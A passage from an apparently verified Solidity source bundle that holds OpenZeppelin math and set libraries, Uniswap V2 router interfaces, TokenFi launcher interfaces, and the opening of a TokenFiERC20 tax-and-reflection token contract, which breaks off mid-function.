sqrt(a) < 2**((k+1)/2) <= 2**(k/2 + 1)`\n //\n // Consequently, `2**(log2(a) / 2)` is a good first approximation of `sqrt(a)` with at least 1 correct bit.\n uint256 result = 1 << (log2(a) >> 1);\n\n // At this point `result` is an estimation with one bit of precision. We know the true value is a uint128,\n // since it is the square root of a uint256. Newton's method converges quadratically (precision doubles at\n // every iteration). We thus need at most 7 iteration to turn our partial result with one bit of precision\n // into the expected uint128 result.\n unchecked {\n result = (result + a / result) >> 1;\n result = (result + a / result) >> 1;\n result = (result + a / result) >> 1;\n result = (result + a / result) >> 1;\n result = (result + a / result) >> 1;\n result = (result + a / result) >> 1;\n result = (result + a / result) >> 1;\n return min(result, a / result);\n }\n }\n\n /**\n * @notice Calculates sqrt(a), following the selected rounding direction.\n */\n function sqrt(uint256 a, Rounding rounding) internal pure returns (uint256) {\n unchecked {\n uint256 result = sqrt(a);\n return result + (rounding == Rounding.Up && result * result < a ? 1 : 0);\n }\n }\n\n /**\n * @dev Return the log in base 2, rounded down, of a positive value.\n * Returns 0 if given 0.\n */\n function log2(uint256 value) internal pure returns (uint256) {\n uint256 result = 0;\n unchecked {\n if (value >> 128 > 0) {\n value >>= 128;\n result += 128;\n }\n if (value >> 64 > 0) {\n value >>= 64;\n result += 64;\n }\n if (value >> 32 > 0) {\n value >>= 32;\n result += 32;\n }\n if (value >> 16 > 0) {\n value >>= 16;\n result += 16;\n }\n if (value >> 8 > 0) {\n value >>= 8;\n result += 8;\n }\n if (value >> 4 > 0) {\n value >>= 4;\n result += 4;\n }\n if (value >> 2 > 0) {\n value >>= 2;\n result += 2;\n }\n if (value >> 1 > 0) {\n result += 1;\n }\n }\n return result;\n }\n\n /**\n * @dev Return the log in base 2, following the selected rounding direction, of a positive value.\n * Returns 0 if given 0.\n */\n function log2(uint256 value, Rounding rounding) internal pure returns (uint256) {\n unchecked {\n uint256 result = log2(value);\n return result + (rounding == Rounding.Up && 1 << result < value ? 1 : 0);\n }\n }\n\n /**\n * @dev Return the log in base 10, rounded down, of a positive value.\n * Returns 0 if given 0.\n */\n function log10(uint256 value) internal pure returns (uint256) {\n uint256 result = 0;\n unchecked {\n if (value >= 10 ** 64) {\n value /= 10 ** 64;\n result += 64;\n }\n if (value >= 10 ** 32) {\n value /= 10 ** 32;\n result += 32;\n }\n if (value >= 10 ** 16) {\n value /= 10 ** 16;\n result += 16;\n }\n if (value >= 10 ** 8) {\n value /= 10 ** 8;\n result += 8;\n }\n if (value >= 10 ** 4) {\n value /= 10 ** 4;\n result += 4;\n }\n if (value >= 10 ** 2) {\n value /= 10 ** 2;\n result += 2;\n }\n if (value >= 10 ** 1) {\n result += 1;\n }\n }\n return result;\n }\n\n /**\n * @dev Return the log in base 10, following the selected rounding direction, of a positive value.\n * Returns 0 if given 0.\n */\n function log10(uint256 value, Rounding rounding) internal pure returns (uint256) {\n unchecked {\n uint256 result = log10(value);\n return result + (rounding == Rounding.Up && 10 ** result < value ? 1 : 0);\n }\n }\n\n /**\n * @dev Return the log in base 256, rounded down, of a positive value.\n * Returns 0 if given 0.\n *\n * Adding one to the result gives the number of pairs of hex symbols needed to represent `value` as a hex string.\n */\n function log256(uint256 value) internal pure returns (uint256) {\n uint256 result = 0;\n unchecked {\n if (value >> 128 > 0) {\n value >>= 128;\n result += 16;\n }\n if (value >> 64 > 0) {\n value >>= 64;\n result += 8;\n }\n if (value >> 32 > 0) {\n value >>= 32;\n result += 4;\n }\n if (value >> 16 > 0) {\n value >>= 16;\n result += 2;\n }\n if (value >> 8 > 0) {\n result += 1;\n }\n }\n return result;\n }\n\n /**\n * @dev Return the log in base 256, following the selected rounding direction, of a positive value.\n * Returns 0 if given 0.\n */\n function log256(uint256 value, Rounding rounding) internal pure returns (uint256) {\n unchecked {\n uint256 result = log256(value);\n return result + (rounding == Rounding.Up && 1 << (result << 3) < value ? 1 : 0);\n }\n }\n}\n"
},
"@openzeppelin/contracts/utils/math/SignedMath.sol": {
"content": "// SPDX-License-Identifier: MIT\n// OpenZeppelin Contracts (last updated v4.8.0) (utils/math/SignedMath.sol)\n\npragma solidity ^0.8.0;\n\n/**\n * @dev Standard signed math utilities missing in the Solidity language.\n */\nlibrary SignedMath {\n /**\n * @dev Returns the largest of two signed numbers.\n */\n function max(int256 a, int256 b) internal pure returns (int256) {\n return a > b ? a : b;\n }\n\n /**\n * @dev Returns the smallest of two signed numbers.\n */\n function min(int256 a, int256 b) internal pure returns (int256) {\n return a < b ? a : b;\n }\n\n /**\n * @dev Returns the average of two signed numbers without overflow.\n * The result is rounded towards zero.\n */\n function average(int256 a, int256 b) internal pure returns (int256) {\n // Formula from the book \"Hacker's Delight\"\n int256 x = (a & b) + ((a ^ b) >> 1);\n return x + (int256(uint256(x) >> 255) & (a ^ b));\n }\n\n /**\n * @dev Returns the absolute unsigned value of a signed value.\n */\n function abs(int256 n) internal pure returns (uint256) {\n unchecked {\n // must be unchecked in order to support `n = type(int256).min`\n return uint256(n >= 0 ? n : -n);\n }\n }\n}\n"
},
"@openzeppelin/contracts/utils/structs/EnumerableSet.sol": {
"content": "// SPDX-License-Identifier: MIT\n// OpenZeppelin Contracts (last updated v4.9.0) (utils/structs/EnumerableSet.sol)\n// This file was procedurally generated from scripts/generate/templates/EnumerableSet.js.\n\npragma solidity ^0.8.0;\n\n/**\n * @dev Library for managing\n * https://en.wikipedia.org/wiki/Set_(abstract_data_type)[sets] of primitive\n * types.\n *\n * Sets have the following properties:\n *\n * - Elements are added, removed, and checked for existence in constant time\n * (O(1)).\n * - Elements are enumerated in O(n). No guarantees are made on the ordering.\n *\n * ```solidity\n * contract Example {\n * // Add the library methods\n * using EnumerableSet for EnumerableSet.AddressSet;\n *\n * // Declare a set state variable\n * EnumerableSet.AddressSet private mySet;\n * }\n * ```\n *\n * As of v3.3.0, sets of type `bytes32` (`Bytes32Set`), `address` (`AddressSet`)\n * and `uint256` (`UintSet`) are supported.\n *\n * [WARNING]\n * ====\n * Trying to delete such a structure from storage will likely result in data corruption, rendering the structure\n * unusable.\n * See https://github.com/ethereum/solidity/pull/11843[ethereum/solidity#11843] for more info.\n *\n * In order to clean an EnumerableSet, you can either remove all elements one by one or create a fresh instance using an\n * array of EnumerableSet.\n * ====\n */\nlibrary EnumerableSet {\n // To implement this library for multiple types with as little code\n // repetition as possible, we write it in terms of a generic Set type with\n // bytes32 values.\n // The Set implementation uses private functions, and user-facing\n // implementations (such as AddressSet) are just wrappers around the\n // underlying Set.\n // This means that we can only create new EnumerableSets for types that fit\n // in bytes32.\n\n struct Set {\n // Storage of set values\n bytes32[] _values;\n // Position of the value in the `values` array, plus 1 because index 0\n // means a value is not in the set.\n mapping(bytes32 => uint256) _indexes;\n }\n\n /**\n * @dev Add a value to a set. O(1).\n *\n * Returns true if the value was added to the set, that is if it was not\n * already present.\n */\n function _add(Set storage set, bytes32 value) private returns (bool) {\n if (!_contains(set, value)) {\n set._values.push(value);\n // The value is stored at length-1, but we add 1 to all indexes\n // and use 0 as a sentinel value\n set._indexes[value] = set._values.length;\n return true;\n } else {\n return false;\n }\n }\n\n /**\n * @dev Removes a value from a set. O(1).\n *\n * Returns true if the value was removed from the set, that is if it was\n * present.\n */\n function _remove(Set storage set, bytes32 value) private returns (bool) {\n // We read and store the value's index to prevent multiple reads from the same storage slot\n uint256 valueIndex = set._indexes[value];\n\n if (valueIndex != 0) {\n // Equivalent to contains(set, value)\n // To delete an element from the _values array in O(1), we swap the element to delete with the last one in\n // the array, and then remove the last element (sometimes called as 'swap and pop').\n // This modifies the order of the array, as noted in {at}.\n\n uint256 toDeleteIndex = valueIndex - 1;\n uint256 lastIndex = set._values.length - 1;\n\n if (lastIndex != toDeleteIndex) {\n bytes32 lastValue = set._values[lastIndex];\n\n // Move the last value to the index where the value to delete is\n set._values[toDeleteIndex] = lastValue;\n // Update the index for the moved value\n set._indexes[lastValue] = valueIndex; // Replace lastValue's index to valueIndex\n }\n\n // Delete the slot where the moved value was stored\n set._values.pop();\n\n // Delete the index for the deleted slot\n delete set._indexes[value];\n\n return true;\n } else {\n return false;\n }\n }\n\n /**\n * @dev Returns true if the value is in the set. O(1).\n */\n function _contains(Set storage set, bytes32 value) private view returns (bool) {\n return set._indexes[value] != 0;\n }\n\n /**\n * @dev Returns the number of values on the set. O(1).\n */\n function _length(Set storage set) private view returns (uint256) {\n return set._values.length;\n }\n\n /**\n * @dev Returns the value stored at position `index` in the set. O(1).\n *\n * Note that there are no guarantees on the ordering of values inside the\n * array, and it may change when more values are added or removed.\n *\n * Requirements:\n *\n * - `index` must be strictly less than {length}.\n */\n function _at(Set storage set, uint256 index) private view returns (bytes32) {\n return set._values[index];\n }\n\n /**\n * @dev Return the entire set in an array\n *\n * WARNING: This operation will copy the entire storage to memory, which can be quite expensive. This is designed\n * to mostly be used by view accessors that are queried without any gas fees. Developers should keep in mind that\n * this function has an unbounded cost, and using it as part of a state-changing function may render the function\n * uncallable if the set grows to a point where copying to memory consumes too much gas to fit in a block.\n */\n function _values(Set storage set) private view returns (bytes32[] memory) {\n return set._values;\n }\n\n // Bytes32Set\n\n struct Bytes32Set {\n Set _inner;\n }\n\n /**\n * @dev Add a value to a set. O(1).\n *\n * Returns true if the value was added to the set, that is if it was not\n * already present.\n */\n function add(Bytes32Set storage set, bytes32 value) internal returns (bool) {\n return _add(set._inner, value);\n }\n\n /**\n * @dev Removes a value from a set. O(1).\n *\n * Returns true if the value was removed from the set, that is if it was\n * present.\n */\n function remove(Bytes32Set storage set, bytes32 value) internal returns (bool) {\n return _remove(set._inner, value);\n }\n\n /**\n * @dev Returns true if the value is in the set. O(1).\n */\n function contains(Bytes32Set storage set, bytes32 value) internal view returns (bool) {\n return _contains(set._inner, value);\n }\n\n /**\n * @dev Returns the number of values in the set. O(1).\n */\n function length(Bytes32Set storage set) internal view returns (uint256) {\n return _length(set._inner);\n }\n\n /**\n * @dev Returns the value stored at position `index` in the set. O(1).\n *\n * Note that there are no guarantees on the ordering of values inside the\n * array, and it may change when more values are added or removed.\n *\n * Requirements:\n *\n * - `index` must be strictly less than {length}.\n */\n function at(Bytes32Set storage set, uint256 index) internal view returns (bytes32) {\n return _at(set._inner, index);\n }\n\n /**\n * @dev Return the entire set in an array\n *\n * WARNING: This operation will copy the entire storage to memory, which can be quite expensive. This is designed\n * to mostly be used by view accessors that are queried without any gas fees. Developers should keep in mind that\n * this function has an unbounded cost, and using it as part of a state-changing function may render the function\n * uncallable if the set grows to a point where copying to memory consumes too much gas to fit in a block.\n */\n function values(Bytes32Set storage set) internal view returns (bytes32[] memory) {\n bytes32[] memory store = _values(set._inner);\n bytes32[] memory result;\n\n /// @solidity memory-safe-assembly\n assembly {\n result := store\n }\n\n return result;\n }\n\n // AddressSet\n\n struct AddressSet {\n Set _inner;\n }\n\n /**\n * @dev Add a value to a set. O(1).\n *\n * Returns true if the value was added to the set, that is if it was not\n * already present.\n */\n function add(AddressSet storage set, address value) internal returns (bool) {\n return _add(set._inner, bytes32(uint256(uint160(value))));\n }\n\n /**\n * @dev Removes a value from a set. O(1).\n *\n * Returns true if the value was removed from the set, that is if it was\n * present.\n */\n function remove(AddressSet storage set, address value) internal returns (bool) {\n return _remove(set._inner, bytes32(uint256(uint160(value))));\n }\n\n /**\n * @dev Returns true if the value is in the set. O(1).\n */\n function contains(AddressSet storage set, address value) internal view returns (bool) {\n return _contains(set._inner, bytes32(uint256(uint160(value))));\n }\n\n /**\n * @dev Returns the number of values in the set. O(1).\n */\n function length(AddressSet storage set) internal view returns (uint256) {\n return _length(set._inner);\n }\n\n /**\n * @dev Returns the value stored at position `index` in the set. O(1).\n *\n * Note that there are no guarantees on the ordering of values inside the\n * array, and it may change when more values are added or removed.\n *\n * Requirements:\n *\n * - `index` must be strictly less than {length}.\n */\n function at(AddressSet storage set, uint256 index) internal view returns (address) {\n return address(uint160(uint256(_at(set._inner, index))));\n }\n\n /**\n * @dev Return the entire set in an array\n *\n * WARNING: This operation will copy the entire storage to memory, which can be quite expensive. This is designed\n * to mostly be used by view accessors that are queried without any gas fees. Developers should keep in mind that\n * this function has an unbounded cost, and using it as part of a state-changing function may render the function\n * uncallable if the set grows to a point where copying to memory consumes too much gas to fit in a block.\n */\n function values(AddressSet storage set) internal view returns (address[] memory) {\n bytes32[] memory store = _values(set._inner);\n address[] memory result;\n\n /// @solidity memory-safe-assembly\n assembly {\n result := store\n }\n\n return result;\n }\n\n // UintSet\n\n struct UintSet {\n Set _inner;\n }\n\n /**\n * @dev Add a value to a set. O(1).\n *\n * Returns true if the value was added to the set, that is if it was not\n * already present.\n */\n function add(UintSet storage set, uint256 value) internal returns (bool) {\n return _add(set._inner, bytes32(value));\n }\n\n /**\n * @dev Removes a value from a set. O(1).\n *\n * Returns true if the value was removed from the set, that is if it was\n * present.\n */\n function remove(UintSet storage set, uint256 value) internal returns (bool) {\n return _remove(set._inner, bytes32(value));\n }\n\n /**\n * @dev Returns true if the value is in the set. O(1).\n */\n function contains(UintSet storage set, uint256 value) internal view returns (bool) {\n return _contains(set._inner, bytes32(value));\n }\n\n /**\n * @dev Returns the number of values in the set. O(1).\n */\n function length(UintSet storage set) internal view returns (uint256) {\n return _length(set._inner);\n }\n\n /**\n * @dev Returns the value stored at position `index` in the set. O(1).\n *\n * Note that there are no guarantees on the ordering of values inside the\n * array, and it may change when more values are added or removed.\n *\n * Requirements:\n *\n * - `index` must be strictly less than {length}.\n */\n function at(UintSet storage set, uint256 index) internal view returns (uint256) {\n return uint256(_at(set._inner, index));\n }\n\n /**\n * @dev Return the entire set in an array\n *\n * WARNING: This operation will copy the entire storage to memory, which can be quite expensive. This is designed\n * to mostly be used by view accessors that are queried without any gas fees. Developers should keep in mind that\n * this function has an unbounded cost, and using it as part of a state-changing function may render the function\n * uncallable if the set grows to a point where copying to memory consumes too much gas to fit in a block.\n */\n function values(UintSet storage set) internal view returns (uint256[] memory) {\n bytes32[] memory store = _values(set._inner);\n uint256[] memory result;\n\n /// @solidity memory-safe-assembly\n assembly {\n result := store\n }\n\n return result;\n }\n}\n"
},
"@uniswap/v2-periphery/contracts/interfaces/IUniswapV2Router01.sol": {
"content": "pragma solidity >=0.6.2;\n\ninterface IUniswapV2Router01 {\n function factory() external pure returns (address);\n function WETH() external pure returns (address);\n\n function addLiquidity(\n address tokenA,\n address tokenB,\n uint amountADesired,\n uint amountBDesired,\n uint amountAMin,\n uint amountBMin,\n address to,\n uint deadline\n ) external returns (uint amountA, uint amountB, uint liquidity);\n function addLiquidityETH(\n address token,\n uint amountTokenDesired,\n uint amountTokenMin,\n uint amountETHMin,\n address to,\n uint deadline\n ) external payable returns (uint amountToken, uint amountETH, uint liquidity);\n function removeLiquidity(\n address tokenA,\n address tokenB,\n uint liquidity,\n uint amountAMin,\n uint amountBMin,\n address to,\n uint deadline\n ) external returns (uint amountA, uint amountB);\n function removeLiquidityETH(\n address token,\n uint liquidity,\n uint amountTokenMin,\n uint amountETHMin,\n address to,\n uint deadline\n ) external returns (uint amountToken, uint amountETH);\n function removeLiquidityWithPermit(\n address tokenA,\n address tokenB,\n uint liquidity,\n uint amountAMin,\n uint amountBMin,\n address to,\n uint deadline,\n bool approveMax, uint8 v, bytes32 r, bytes32 s\n ) external returns (uint amountA, uint amountB);\n function removeLiquidityETHWithPermit(\n address token,\n uint liquidity,\n uint amountTokenMin,\n uint amountETHMin,\n address to,\n uint deadline,\n bool approveMax, uint8 v, bytes32 r, bytes32 s\n ) external returns (uint amountToken, uint amountETH);\n function swapExactTokensForTokens(\n uint amountIn,\n uint amountOutMin,\n address[] calldata path,\n address to,\n uint deadline\n ) external returns (uint[] memory amounts);\n function swapTokensForExactTokens(\n uint amountOut,\n uint amountInMax,\n address[] calldata path,\n address to,\n uint deadline\n ) external returns (uint[] memory amounts);\n function swapExactETHForTokens(uint amountOutMin, address[] calldata path, address to, uint deadline)\n external\n payable\n returns (uint[] memory amounts);\n function swapTokensForExactETH(uint amountOut, uint amountInMax, address[] calldata path, address to, uint deadline)\n external\n returns (uint[] memory amounts);\n function swapExactTokensForETH(uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline)\n external\n returns (uint[] memory amounts);\n function swapETHForExactTokens(uint amountOut, address[] calldata path, address to, uint deadline)\n external\n payable\n returns (uint[] memory amounts);\n\n function quote(uint amountA, uint reserveA, uint reserveB) external pure returns (uint amountB);\n function getAmountOut(uint amountIn, uint reserveIn, uint reserveOut) external pure returns (uint amountOut);\n function getAmountIn(uint amountOut, uint reserveIn, uint reserveOut) external pure returns (uint amountIn);\n function getAmountsOut(uint amountIn, address[] calldata path) external view returns (uint[] memory amounts);\n function getAmountsIn(uint amountOut, address[] calldata path) external view returns (uint[] memory amounts);\n}\n"
},
"@uniswap/v2-periphery/contracts/interfaces/IUniswapV2Router02.sol": {
"content": "pragma solidity >=0.6.2;\n\nimport './IUniswapV2Router01.sol';\n\ninterface IUniswapV2Router02 is IUniswapV2Router01 {\n function removeLiquidityETHSupportingFeeOnTransferTokens(\n address token,\n uint liquidity,\n uint amountTokenMin,\n uint amountETHMin,\n address to,\n uint deadline\n ) external returns (uint amountETH);\n function removeLiquidityETHWithPermitSupportingFeeOnTransferTokens(\n address token,\n uint liquidity,\n uint amountTokenMin,\n uint amountETHMin,\n address to,\n uint deadline,\n bool approveMax, uint8 v, bytes32 r, bytes32 s\n ) external returns (uint amountETH);\n\n function swapExactTokensForTokensSupportingFeeOnTransferTokens(\n uint amountIn,\n uint amountOutMin,\n address[] calldata path,\n address to,\n uint deadline\n ) external;\n function swapExactETHForTokensSupportingFeeOnTransferTokens(\n uint amountOutMin,\n address[] calldata path,\n address to,\n uint deadline\n ) external payable;\n function swapExactTokensForETHSupportingFeeOnTransferTokens(\n uint amountIn,\n uint amountOutMin,\n address[] calldata path,\n address to,\n uint deadline\n ) external;\n}\n"
},
"contracts/token-launcher/interfaces/IBuyBackHandler.sol": {
"content": "// SPDX-License-Identifier: MIT\r\npragma solidity 0.8.23;\r\n\r\nimport { ITokenLauncherLiquidityPoolFactory } from \"./ITokenLauncherLiquidityPoolFactory.sol\";\r\n\r\ninterface IBuyBackHandler {\r\n // solhint-disable-next-line\r\n function BUYBACK_CALLER_ROLE() external view returns (bytes32);\r\n\r\n function buyback(address treasury, ITokenLauncherLiquidityPoolFactory.BuyBackDetails memory buybackDetails) external;\r\n\r\n /**\r\n * @dev Grants `role` to `account`.\r\n *\r\n * If `account` had not been already granted `role`, emits a {RoleGranted}\r\n * event.\r\n *\r\n * Requirements:\r\n *\r\n * - the caller must have ``role``'s admin role.\r\n */\r\n function grantRole(bytes32 role, address account) external;\r\n}\r\n"
},
"contracts/token-launcher/interfaces/ITokenLauncherCommon.sol": {
"content": "// SPDX-License-Identifier: MIT\r\npragma solidity 0.8.23;\r\n\r\ninterface ITokenLauncherCommon {\r\n enum TokenType {\r\n ERC20,\r\n ERC721,\r\n ERC1155\r\n }\r\n\r\n enum PaymentMethod {\r\n NATIVE,\r\n USD,\r\n FLOKI\r\n }\r\n}\r\n"
},
"contracts/token-launcher/interfaces/ITokenLauncherERC20.sol": {
"content": "// SPDX-License-Identifier: MIT\r\npragma solidity 0.8.23;\r\n\r\nimport { ITokenLauncherCommon } from \"./ITokenLauncherCommon.sol\";\r\n\r\ninterface ITokenLauncherERC20 is ITokenLauncherCommon {\r\n struct FeeDetails {\r\n uint256 percentage;\r\n bool onlyOnSwaps;\r\n }\r\n\r\n struct Fees {\r\n FeeDetails transferFee;\r\n FeeDetails burn;\r\n FeeDetails reflection;\r\n FeeDetails buyback;\r\n }\r\n\r\n struct CreateErc20Input {\r\n string name;\r\n string symbol;\r\n string logo;\r\n uint8 decimals;\r\n uint256 initialSupply;\r\n uint256 maxSupply;\r\n address treasury;\r\n address owner;\r\n address referrer;\r\n address tokenStore;\r\n Fees fees;\r\n address buybackHandler;\r\n PaymentMethod paymentMethod;\r\n }\r\n\r\n function tokenLauncherStore() external returns (address);\r\n\r\n function liquidityPoolFactory() external returns (address);\r\n\r\n function buybackHandler() external returns (address);\r\n\r\n function createErc20(CreateErc20Input memory input) external payable;\r\n}\r\n"
},
"contracts/token-launcher/interfaces/ITokenLauncherLiquidityPoolFactory.sol": {
"content": "// SPDX-License-Identifier: MIT\r\npragma solidity 0.8.23;\r\n\r\ninterface ITokenLauncherLiquidityPoolFactory {\r\n struct LiquidityPoolDetails {\r\n address sourceToken;\r\n address pairedToken;\r\n uint256 amountSourceToken;\r\n uint256 amountPairedToken;\r\n address routerAddress;\r\n }\r\n\r\n struct LockLPDetails {\r\n uint256 lockLPTokenPercentage;\r\n uint256 unlockTimestamp;\r\n address beneficiary;\r\n bool isVesting;\r\n }\r\n\r\n struct BuyBackDetails {\r\n address pairToken;\r\n address router;\r\n uint256 liquidityBasisPoints;\r\n uint256 priceImpactBasisPoints;\r\n }\r\n\r\n struct CreateV2Input {\r\n address owner;\r\n address treasury;\r\n LiquidityPoolDetails liquidityPoolDetails;\r\n LockLPDetails lockLPDetails;\r\n BuyBackDetails buybackDetails;\r\n }\r\n\r\n struct CreateV2Output {\r\n address liquidityPoolToken;\r\n uint256 liquidity;\r\n }\r\n\r\n function createV2LiquidityPool(CreateV2Input memory input) external payable returns (CreateV2Output memory);\r\n}\r\n"
},
"contracts/token-launcher/templates/TokenFiERC20.sol": {
"content": "// SPDX-License-Identifier: MIT\r\npragma solidity 0.8.23;\r\n\r\nimport { AccessControl } from \"@openzeppelin/contracts/access/AccessControl.sol\";\r\nimport { ERC20, IERC20 } from \"@openzeppelin/contracts/token/ERC20/ERC20.sol\";\r\nimport { SafeERC20 } from \"@openzeppelin/contracts/token/ERC20/utils/SafeERC20.sol\";\r\nimport { EnumerableSet } from \"@openzeppelin/contracts/utils/structs/EnumerableSet.sol\";\r\nimport { IUniswapV2Router02 } from \"@uniswap/v2-periphery/contracts/interfaces/IUniswapV2Router02.sol\";\r\n\r\nimport { ITokenLauncherERC20 } from \"../interfaces/ITokenLauncherERC20.sol\";\r\nimport { ITokenLauncherLiquidityPoolFactory } from \"../interfaces/ITokenLauncherLiquidityPoolFactory.sol\";\r\nimport { IBuyBackHandler } from \"../interfaces/IBuyBackHandler.sol\";\r\n\r\ncontract TokenFiERC20 is ERC20, AccessControl {\r\n using EnumerableSet for EnumerableSet.AddressSet;\r\n using SafeERC20 for IERC20;\r\n\r\n bytes32 public constant FEE_MANAGER_ROLE = keccak256(\"FEE_MANAGER_ROLE\");\r\n\r\n address public treasury;\r\n uint256 public maxSupply;\r\n string public logo;\r\n ITokenLauncherERC20.Fees public fees;\r\n ITokenLauncherLiquidityPoolFactory.BuyBackDetails public buybackDetails;\r\n address public buybackHandler;\r\n address public tokenLauncher;\r\n bool public isReflectionToken;\r\n uint8 private _decimals;\r\n\r\n address public constant BURN_ADDRESS = 0x000000000000000000000000000000000000dEaD;\r\n uint256 public constant MULTIPLIER_BASIS = 1e4;\r\n\r\n /// @dev The set of addresses exempt from tax.\r\n EnumerableSet.AddressSet private _exemptedFromTax;\r\n\r\n /// @dev Set of exchange pool addresses.\r\n EnumerableSet.AddressSet internal _exchangePools;\r\n\r\n /// @dev Set of Reflection variables\r\n uint256 public constant MAX = type(uint256).max / 2;\r\n\r\n mapping(address => uint256) private _rOwned;\r\n mapping(address => uint256) private _tOwned;\r\n\r\n mapping(address => bool) private _isExcludedFromReflectionRewards;\r\n address[] private _excluded;\r\n\r\n struct TotalReflection {\r\n uint256 t;\r\n uint256 r;\r\n uint256 tFee;\r\n }\r\n TotalReflection public totalReflection;\r\n\r\n event ExemptedAdded(address indexed account);\r\n event ExemptedRemoved(address indexed account);\r\n event ExchangePoolAdded(address indexed pool);\r\n event ExchangePoolRemoved(address indexed pool);\r\n event TokenLauncherUpdated(address indexed newTokenLauncher);\r\n event TransferTax(address indexed account, address indexed receiver, uint256 amount, string indexed taxType);\r\n event BuyBackDetailsUpdated(address indexed router, address indexed pairToken, uint256 liquidityBasisPoints, uint256 priceImpactBasisPoints);\r\n\r\n constructor(ITokenLauncherERC20.CreateErc20Input memory _input) ERC20(_input.name, _input.symbol) {\r\n require(_input.owner != address(0), \"TokenFiERC20: owner cannot be Address Zero \");\r\n require(_input.maxSupply >= _input.initialSupply, \"TokenFiERC20: initialSupply cannot be greater than maxSupply\");\r\n treasury = _input.treasury;\r\n maxSupply = _input.maxSupply;\r\n logo = _input.logo;\r\n _decimals = _input.decimals;\r\n uint256 maxFee = _input.fees.transferFee.percentage + _input.fees.burn.percentage + _input.fees.reflection.percentage + _input.fees.buyback.percentage;\r\n require(maxFee <= MULTIPLIER_BASIS, \"TokenFiERC20: fees sum must be less than 100%\");\r\n\r\n fees = _input.fees;\r\n buybackHandler = _input.buybackHandler;\r\n\r\n if (_input.fees.reflection.percentage > 0) {\r\n require(_input.initialSupply > 0, \"TokenFiERC20.constructor: initialSupply must be greater than 0\");\r\n totalReflection.r = (MAX - (MAX % _input.initialSupply));\r\n _rOwned[_input.treasury] = totalReflection.r;\r\n totalReflection.t = _input.initialSupply;\r\n _tOwned[_input.treasury] = _input.initialSupply;\r\n isReflectionToken = true;\r\n emit Transfer(address(0), _input.treasury, _input.initialSupply);\r\n } else {\r\n _mint(_input.treasury, _input.initialSupply);\r\n }\r\n\r\n // Exempt the buyback handler, treasury and burn address\r\n _exemptedFromTax.add(_input.buybackHandler);\r\n\r\n tokenLauncher = msg.sender;\r\n _grantRole(DEFAULT_ADMIN_ROLE, _input.owner);\r\n _grantRole(FEE_MANAGER_ROLE, tokenLauncher);\r\n _grantRole(DEFAULT_ADMIN_ROLE, _input.tokenStore);\r\n }\r\n\r\n function decimals() public view override returns (uint8) {\r\n return _decimals;\r\n }\r\n\r\n function setBuybackDetails(ITokenLauncherLiquidityPoolFactory.BuyBackDetails memory _buybackDetails) external onlyRole(FEE_MANAGER_ROLE) {\r\n if (fees.buyback.percentage > 0) {\r\n require(_buybackDetails.liquidityBasisPoints <= MULTIPLIER_BASIS, \"TokenFiERC20: liquidityBasisPoints must be less than 10,000\");\r\n require(_buybackDetails.priceImpactBasisPoints <= MULTIPLIER_BASIS, \"TokenFiERC20: priceImpactBasisPoints must be less than 10,000\");\r\n require(_buybackDetails.router != address(0), \"TokenFiERC20: router cannot be empty\");\r\n require(_buybackDetails.pairToken != address(0), \"TokenFiERC20: pairToken cannot be empty\");\r\n }\r\n buybackDetails = _buybackDetails;\r\n\r\n emit BuyBackDetailsUpdated(\r\n _buybackDetails.router,\r\n _buybackDetails.pairToken,\r\n _buybackDetails.liquidityBasisPoints,\r\n _buybackDetails.priceImpactBasisPoints\r\n );\r\n }\r\n\r\n function addExchangePool(address pool) external onlyRole(FEE_MANAGER_ROLE) {\r\n require(pool != address(0), \"TokenFiERC20: address cannot be empty\");\r\n _exchangePools.add(pool);\r\n emit ExchangePoolAdded(pool);\r\n }\r\n\r\n function addExemptAddress(address account) external onlyRole(FEE_MANAGER_ROLE) {\r\n _exemptedFromTax.add(account);\r\n emit ExemptedAdded(account);\r\n }\r\n\r\n function updateFees(ITokenLauncherERC20.Fees memory _fees) external onlyRole(DEFAULT_ADMIN_ROLE) {\r\n if (isReflectionToken) {\r\n require(_fees.reflection.percentage > 0, \"TokenFiERC20: reflection percentage must be non-zero\");\r\n } else {\r\n require(_fees.reflection.percentage == 0, \"TokenFiERC20: reflection percentage must be zero\");\r\n }\r\n uint256 maxFee = _fees.transferFee.percentage + _fees.burn.percentage + _fees.reflection.percentage + _fees.buyback.percentage;\r\n require(maxFee <= MULTIPLIER_BASIS, \"TokenFiERC20: fees sum must be less than 100%\");\r\n fees = _fees;\r\n }\r\n\r\n function isExemptedFromTax(address account) external view returns (bool) {\r\n return _exemptedFromTax.contains(account);\r\n }\r\n\r\n function isExchangePool(address pool) external view returns (bool) {\r\n return _exchangePools.contains(pool);\r\n }\r\n\r\n function balanceOf(address account) public view override returns (uint256) {\r\n if (isReflectionToken) {\r\n return _balanceOfReflection(account);\r\n }\r\n return super.balanceOf(account);\r\n }\r\n\r\n function totalSupply() public view override returns (uint256) {\r\n if (isReflectionToken) {\r\n return totalReflection.t;\r\n }\r\n return super.totalSupply();\r\n }\r\n\r\n /// @dev functions for Reflection\r\n\r\n function isExcludedFromReflectionRewards(address account) public view returns (bool) {\r\n return _isExcludedFromReflectionRewards[account] || account == address(this);\r\n }\r\n\r\n function reflect(uint256 tAmount) external onlyReflection {\r\n address sender = _msgSender();\r\n require(!isExcludedFromReflectionRewards(sender), \"Excluded addresses cannot call this function\");\r\n (uint256 rAmount, , , , ) = _getValues(tAmount, tAmount, false, true);\r\n _rOwned[sender] = _rOwned[sender] - rAmount;\r\n totalReflection.r = totalReflection.r - rAmount;\r\n totalReflection.tFee = totalReflection.tFee + tAmount;\r\n }\r\n\r\n function reflectionFromToken(uint256 tAmount, bool deductTransferFee) public view returns (uint256) {\r\n require(tAmount <= totalReflection.t, \"Amount must be less than supply\");\r\n if (!deductTransferFee) {\r\n (uint256 rAmount, , , , ) = _getValues(tAmount, tAmount, false, true);\r\n return rAmount;\r\n } else {\r\n (, uint256 rTransferAmount, , , ) = _getValues(tAmount, tAmount, false, true);\r\n return rTransferAmount;\r\n }\r\n }\r\n\r\n function tokenFromReflection(uint256 rAmount) public view returns (uint256) {\r\n require(rAmount <= totalReflection.r, \"Amount must be less than total reflections\");\r\n uint256 currentRate = _getRate();\r\n return rAmount / currentRate;\r\n }\r\n\r\n function excludeAccount(address account) external onlyReflection onlyFromAdminOrLauncher {\r\n require(!isExcludedFromReflectionRewards(account), \"Account is already excluded\");\r\n if (_rOwned[account] > 0) {\r\n _tOwned[account] = tokenFromReflection(_rOwned[account]);\r\n }\r\n _isExcludedFromReflectionRewards[account] = true;\r\n _excluded.push(account);\r\n 